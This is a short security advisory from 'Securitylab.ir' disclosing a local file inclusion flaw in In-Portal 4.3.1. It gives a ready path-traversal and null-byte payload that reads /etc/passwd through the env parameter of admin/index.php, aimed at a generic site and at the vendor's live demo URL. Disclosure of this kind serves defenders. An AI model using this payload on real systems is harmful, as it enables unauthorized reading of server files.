######################### Securitylab.ir ######################## # Application Info: # Name: In-Portal # Version: 4.3.1 # Website: http://www.in-portal.net ################################################################# # Discoverd By: Securitylab.ir # Website: http://securitylab.ir # Contacts: admin[at]securitylab.ir & k4mr4n_st@yahoo.com ################################################################# # Vulnerability Info: # Type: Local File Inclusion Vulnerability # Risk: Medium #=========================================================== # admin/index.php # http://site.com/admin/index.php?env=-/../../../../../../../../../../../../../../../etc/passwd%00 # # demo: # http://www.in-portal.net/demo/admin/index.php?env=-/../../../../../../../../../../../../../../../etc/passwd%00 #=========================================================== ################################################################# # Securitylab Security Research Team ###################################################################